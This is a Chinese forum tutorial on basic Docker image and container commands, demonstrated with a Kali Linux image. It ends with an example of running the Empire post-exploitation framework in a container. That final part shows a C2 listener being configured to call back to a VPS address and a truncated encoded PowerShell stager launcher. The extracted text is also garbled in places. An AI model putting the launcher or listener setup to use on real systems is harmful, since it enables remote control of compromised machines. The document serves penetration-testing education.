],

"RepoDigests": [

```
wooy0ung6 / 2017-12-14 14:56:00 / 浏览数 2527 新手 入门资料 顶(1) 踩(0)
Author: zeroyu
概念
Docker镜像:一个只读模板,是创建Docker容器的基础。镜像文件是由多个层组成的。
Docker容器:一个轻量级沙箱,来运行和隔离应用
Docker仓库:用来存储Docker镜像文件的地方
Docker中用于区分的方式是id或者name:tag
安装
官方文档: https://docs.docker.com/
操作镜像
1.获取镜像 (默认是从docker hub网站进行镜像的获取)
docker pull kalilinux/kali-linux-docker
docker pull hub.c.163.com/public/ubuntu:14.04
建议:使用中科大镜像源 https://docker.mirrors.ustc.edu.cn
附带: 在国内 docker build 的正确姿势
2.列出镜像
→ ~ docker images
REPOSITORY
                         TAG
                                           IMAGE ID
                                                            CREATED
                                                                              SIZE
kalilinux/kali-linux-docker latest
                                           8ececeaf404d
                                                                              1.56GB
                                                            9 months ago
REPOSITORY:来自哪个仓库
TAG:镜像的标签信息,能标示来自同一仓库的不同镜像
IMAGE ID:镜像的ID,此字段唯一标示了镜像
CREATED:创建时间
SIZE:镜像的大小
3.添加镜像标签
#■kalilinux/kali-linux-docker:latest■■■■■kalilinux:latest
→ ~ docker tag kalilinux/kali-linux-docker:latest kalilinux:latest
→ ~ docker images
REPOSITORY
                                           IMAGE ID
                         TAG
                                                            CREATED
kalilinux/kali-linux-docker latest
                                           8ececeaf404d
                                                            9 months ago
                                                                              1.56GB
kalilinux
                                           8ececeaf404d
                          latest
                                                            9 months ago
                                                                              1.56GB
4.查看详细信息
  ~ docker inspect kalilinux:latest
[
  {
      "Id": "sha256:8ececeaf404d5d63d4e9bf870f4340516f3be040e5db6c005ac8cf96d2c43536",
      "RepoTags": [
         "kalilinux/kali-linux-docker:latest",
         "kalilinux:latest"
```

```
"kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d"
      ],
      "Metadata": {
          "LastTagTime": "2017-12-02T04:56:53.8185955Z"
  }
1
5.查看镜像历史
→ ~ docker history kalilinux:latest
                 CREATED
                                    CREATED BY
                                                                                SIZE
                                                                                                  COMMENT
IMAGE
                                   /bin/sh -c #(nop) CMD ["/bin/bash"]
                 9 months ago
8ececeaf404d
                                                                                OΒ
                 9 months ago
<missing>
                                   /bin/sh -c apt-get -y update && apt-get -y...
                                                                                251MB
                                   /bin/sh -c #(nop) ENV DEBIAN_FRONTEND=non...
                9 months ago
<missing>
                                                                                ΩB
                                   /bin/sh -c echo "deb http://http.kali.org/...
                 9 months ago
<missing>
                                                                                134B
                 9 months ago
                                   /bin/sh -c #(nop) MAINTAINER steev@kali.org
<missing>
                                                                                OΒ
                                   /bin/sh -c #(nop) CMD ["/bin/bash"]
                 11 months ago
<missing>
                                                                                0B
<missing>
                 11 months ago
                                   /bin/sh -c apt-get -y update && apt-get -y...
                                                                                286MB
6.搜索镜像
######kali######
→ ~ docker search --automated -s 3 kali
Flag --automated has been deprecated, use --filter=is-automated=true instead
Flag --stars has been deprecated, use --filter=stars=3 instead
                           DESCRIPTION
                                                                        STARS
                                                                                          OFFICIAL
kalilinux/kali-linux-docker Kali Linux Rolling Distribution Base Image
                                                                       361
linuxkonsult/kali-metasploit Kali base image with metasploit
                                                                        54
jasonchaffee/kali-linux
                          Kali Linux Docker Container with the kali-...
                                                                        8
brimstone/kali
                                                                        6
adamoss/kali2-metasploit
                          Kali2 Automated Build
                                                                        4
wsec/kali-metasploit
                          Official Kali Base image + Metasploit
                                                                        3
kalinon/comicstreamer
                          ComicStreamer is a media server app for sh... 3
7.删除镜像
#IIIdocker rmi idIIIIIIIIIItagIIIIII
→ ~ docker images
REPOSITORY
                           TAG
                                             IMAGE ID
                                                               CREATED
                                                                                  SIZE
kalilinux/kali-linux-docker latest
                                             8ececeaf404d
                                                               9 months ago
                                                                                  1.56GB
kalilinux
                           latest
                                             8ececeaf404d
                                                               9 months ago
                                                                                  1.56GB
→ ~ docker rmi kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d
→ ~ docker images
REPOSITORY
                                    IMAGE ID
                                                      CREATED
                                                                        SIZE
kalilinux
                  latest
                                    8ececeaf404d
                                                      9 months ago
                                                                        1.56GB
8.创建镜像
1)基于已有镜像的容器创建
→ ~ docker run -it kalilinux:latest /bin/bash
root@de573c5f5dc6:/# apt update && apt install metasploit-framework
root@de573c5f5dc6:/#exit
#■■id■de573c5f5dc6
#docker commit -m "■■■■" -a "■■■■" id REPOSITORY:TAG
→ ~ docker commit -m "install msf" -a "zeroyu" de573c5f5dc6 kalilinux:0.1
sha256:66a6770d79d88c826b2e4a38b98037c14de0b9d2ce897307dc30afbf675ce51a
→ ~ docker images
REPOSITORY
                                                      CREATED
                 TAG
                                    IMAGE ID
                                                                        SIZE
```

AUTOMAT

[OK]

[OK]

[OK]

[OK]

[OK]

[OK]

[OK]

2)基于本地模板导入

0.1

latest

66a6770d79d8

8ececeaf404d

21 seconds ago

9 months ago

2.54GB

1.56GB

kalilinux

kalilinux

docker import ...

9.存出和载入镜像

1) 存出镜像

docker save -o docker_for_msf.tar kalilinux:0.1

2)载入镜像

docker load --input docker_for_msf.tar

#

docker load < docker_for_msf.tar</pre>

10.上传镜像

docker push kalilinux:0.1

操作容器

1.创建容器

1)新建容器

#docker create

→ ~ docker create -it kalilinux:0.1

2bc48b88a424c8056fe9e6311848d5850c4e46008feec99ee095bc341ae9adaf

#========

→ ~ docker ps -a

CONTAINER ID COMMAND CREATED STATUS PORTS TMAGE kalilinux:0.1 "/bin/bash" 7 seconds ago 2bc48b88a424 Created kalilinux:latest "/bin/bash" 5 hours ago de573c5f5dc6 Exited (0) 5 hours ago

NAMES

frosty

2)启动容器

#docker start id

#docker ps

→ ~ docker start 2bc48b88a424

2bc48b88a424 → ~ docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
2bc48b88a424 kalilinux:0.1 "/bin/bash" 9 minutes ago Up 8 seconds

3)新建并启动容器

#docker run = docker create + docker start

#4. **B**IP**5**. **B**B**B**B**B**6. **B**B**B**B**B**B

→ ~ docker run kalilinux:0.1 /bin/echo 'zeroyu'

zeroyu

→ ~ docker ps -a

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS

d6a6045c4f8b kalilinux:0.1 "/bin/echo zeroyu" 3 minutes ago Exited (0) 3 minutes ago

→ ~ docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

#

→ ~ docker run -it kalilinux:0.1 /bin/bash

root@2ed8aa5354f1:/# ps

PID TTY TIME CMD

1 pts/0 00:00:00 bash
7 pts/0 00:00:00 ps
root@2ed8aa5354f1:/# exit

exit

#========

→ ~ docker ps -a

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
2ed8aa5354f1 kalilinux:0.1 "/bin/bash" About a minute ago Exited (0) 48 seconds ago

4)守护态运行

#======

→ ~ docker run -d kalilinux:0.1 /bin/sh -c "while true; do echo zeroyu; sleep 1; done" 88f12c0725a466ba6d8f08f34fc8e9ac263ecafdff0a9e7282d7e9bb4073e6a0

→ ~ docker ps

PORTS CONTAINER ID IMAGE COMMAND CREATED STATUS kalilinux:0.1 "/bin/sh -c 'while..." 7 seconds ago 88f12c0725a4 Up 7 seconds

→ ~ docker logs 88f12c0725a4

zeroyu zeroyu zeroyu

2.终止容器

#id 88f12c0725a4

→ ~ docker stop 88

88

#**EEEEEEE**id

→ ~ docker ps -qa

073ff4eldac7

#**######**start**####**

→ ~ docker start 073

073

→ ~ docker ps

IMAGE COMMAND kalilinux:0.1 "/bin/sh CONTAINER ID CREATED STATUS PORTS

073ff4e1dac7 "/bin/sh -c 'while..." About a minute ago Up About a minute

#restart

→ ~ docker restart 073

073

3.进入容器

处于守护态(-d参数)的容器会在后台运行,但是你无法到信息,也无法进行操作。此时,要进入容器进行工作,要使用attach或者exec命令。

1)使用attach命令

→ ~ docker run -itd kalilinux:0.1

77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360

→ ~ docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES "/bin/bash" 20 seconds ago kalilinux:0.1 77e93d18a6a5 Up 21 seconds stupef

→ ~ docker attach stupefied_gates

root@77e93d18a6a5:/#

2)使用exec命令

→ ~ docker ps -a

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS

77e93d18a6a5 kalilinux:0.1 "/bin/bash" 5 minutes ago Exited (0) About a minute ago

→ ~ docker start 77e

77e

→ ~ docker exec -it 77e93d18a6a5 /bin/bash

root@77e93d18a6a5:/#

4.删除容器

→ ~ docker ps -a

IMAGE CREATED CONTAINER ID COMMAND STATUS PORTS NAMES 77e93d18a6a5 kalilinux:0.1 7 minutes ago Up About a minute "/bin/bash" stupef

→ ~ docker rm 77e93d18a6a5

Error response from daemon: You cannot remove a running container 77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f1

→ ~ docker stop 77e93d18a6a5

77e93d18a6a5

→ ~ docker rm 77e93d18a6a5

77e93d18a6a5

5.导入和导出容器

#

```
→ ~ docker export -o test.tar 77e93d18a6a5
→ ~ docker export 77e93d18a6a5 > test.tar
#====
→ ~ docker import test.tar - test/kalilinux:v1.0
Docker数据管理
#WW-vWWWWWWWWtmpWWWWW/opt/tmp_test
#==rw========
#888#8888888
→ ~ docker run -it -P --name db -v /tmp:/opt/tmp_test:rw kalilinux:0.1 /bin/sh
# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
# cd opt
# ls
tmp_test
# cd tmp_test
com.apple.launchd.0fGM76e6ao com.apple.launchd.UWfVYRXkwo powerlog
com.apple.launchd.AkQGotnulN pip-FfQw68-unpack
Docker端口映射
#-P======
→ ~ docker run -it -d -p 5000:5000 kalilinux:v0.2
23e91a40cb124720b1dba81371a275169124cbff2778120b4350470fa79a0d91
→ ~ docker ps
                                                         STATUS
CONTAINER ID
             IMAGE
                            COMMAND
                                           CREATED
                                                                        PORTS
             kalilinux:v0.2
                           "/bin/bash"
23e91a40cb12
                                         12 seconds ago
                                                        Up 11 seconds
                                                                        0.0.0.0:5000->5000/tcp
→ ~ docker attach boring_volhard
root@23e91a40cb12:/# cd home/Empire/
root@23e91a40cb12:/home/Empire# ls
LICENSE README.md changelog data empire lib setup
root@23e91a40cb12:/home/Empire#
附例
在vps中的docker上使用empire进行渗透测试(metasploit同理)
# | | | | | |
-----
[Empire] Post-Exploitation Framework
_____
[Version] 2.3 | [Web] https://github.com/empireProject/Empire
______
  _| | |\/| | | __/ | | | /
___||_| |__| |__|
                     |_|||...||...||_
```

282 modules currently loaded

0 listeners currently active

0 agents currently active

(Empire) > help

Commands

=======

agents Jump to the Agents menu.

creds Add/display credentials to/from the database.

exit Exit Empire

help Displays the help menu.

interact Interact with a particular agent. list Lists active agents or listeners. listeners Interact with active listeners.

load Loads Empire modules from a non-standard folder.

preobfuscate Preobfuscate PowerShell module_source files

reload Reload one (or all) Empire modules.

reset Reset a global option (e.g. IP whitelists).

resource Read and execute a list of Empire commands from a file.

searchmodule Search Empire module names/descriptions.
set Set a global option (e.g. IP whitelists).
show Show a global option (e.g. IP whitelists).

usemodule Use an Empire module. usestager Use an Empire stager.

(Empire) > list
(Empire) > listeners

[!] No listeners currently active
(Empire: listeners) > uselistener http

(Empire: listeners/http) > info

Name: HTTP[S]

Category: client_server

Authors: @harmj0y

Description:

Starts a http[s] listener (PowerShell or Python) that uses a

GET/POST approach.

HTTP[S] Options:

Name	Required	Value	Description
SlackToken	False		Your SlackBot API token to communicate with your Slack instance
ProxyCreds	False	default	Proxy credentials ([domain\]username:password) to use for requ
KillDate	False		Date for the listener to exit (MM/dd/yyyy).
Name	True	http	Name for the listener.
Launcher	True	powershell -noP -sta -w 1 -enc	Launcher string.
DefaultDelay	True	5	Agent delay/reach back interval (in seconds).
DefaultLostLimit	True	60	Number of missed checkins before exiting
WorkingHours	False		Hours for the agent to operate (09:00-17:00).
SlackChannel	False	#general	The Slack channel or DM that notifications will be sent to.
DefaultProfile	True	<pre>/admin/get.php,/news.php,/login/ process.php Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko</pre>	Default communication profile for the agent.
Host	True	http://172.17.0.2:80	Hostname/IP for staging.
CertPath	False		Certificate path for https listeners.
DefaultJitter	True	0.0	Jitter in agent reachback interval (0.0-1.0).
Proxy	False	default	Proxy to use for request (default, none, or other).
UserAgent	False	default	User-agent string to use for the staging request (default, non
StagingKey	True	3ab47284cf7e260541d810beb54d3405	Staging key for initial agent negotiation.
BindIP	True	0.0.0.0	The IP to bind to on the control server.
Port	True	80	Port for the listener.

Server header for the control server.

URI for the stager. Must use /download/. Example: /download/st

(Empire: listeners/http) > set Name docker

True

False

#**■■■**172.16.188.1**■**vps**■**ip**■■**

ServerVersion

StagerURI

(Empire: listeners/http) > set Host http://172.16.188.1:5000

Microsoft-IIS/7.5

(Empire: listeners/http) > execute
[*] Starting listener 'docker'
[+] Listener successfully started!
(Empire: listeners/http) > lsit

*** Unknown syntax: lsit

(Empire: listeners/http) > back
(Empire: listeners) > list

[*] Active listeners:

 Name
 Module
 Host
 Delay/Jitter
 KillDate

 --- --- ---- -----

docker http://172.16.188.1:5000 5/0.0

(Empire: listeners) > usestager

multi/bashosx/dylibosx/teensywindows/launcher_sctmulti/launcherosx/jarwindows/bunnywindows/launcher_vbs

multi/pyinstaller osx/launcher windows/dll windows/macro

multi/war osx/macho windows/ducky windows/macroless_msword

osx/applescript osx/macro windows/hta windows/teensy

osx/application osx/pkg windows/launcher_bat osx/ducky osx/safari_launcher windows/launcher_lnk

(Empire: listeners) > usestager windows/d

dll ducky

(Empire: listeners) > usestager windows/dll

(Empire: stager/windows/dll) > info

Name: DLL Launcher

Description:

Generate a PowerPick Reflective DLL to inject with

stager code.

Options:

Name	1	Value	Description
Listener	True		Listener to use.
ProxyCreds	False	default	Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Obfuscate	False	False	Switch. Obfuscate the launcher powershell code, uses the
			ObfuscateCommand for obfuscation types. For powershell only.
Proxy	False	default	Proxy to use for request (default, none, or other).
Language	True	powershell	Language of the stager to generate.
OutFile	True	/tmp/launcher.dll	File to output dll to.
UserAgent	False	default	User-agent string to use for the staging
			request (default, none, or other).
Arch	True	x64	Architecture of the .dll to generate
			(x64 or x86).
ObfuscateCommand	False	Token\All\1	The Invoke-Obfuscation command to use.
			Only used if Obfuscate switch is True.
			For powershell only.
StagerRetries	False	0	Times for the stager to retry
			connecting.

(Empire: stager/windows/dll) > set Listener docker

(Empire: stager/windows/dll) > back

(Empire: listeners) > launcher powershell docker

powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBpAE8AbgBUAEEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAE8ATgAuAE0AQQBKAE8AUgAgAC

#**#######**payload**########**

(Empire: listeners) > [+] Initial agent G3BYNCLW from 172.17.0.1 now active (Sla

点击收藏 | 2 关注 | 1

上一篇: Exponent CMS 2.3.... 下一篇: Office-Vulnerabil...

1. 1条回复



sket****pl4ne 2019-04-26 21:27:25

帮大忙了(0•00•0)00

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS <u>关于社区</u> 友情链接 社区小黑板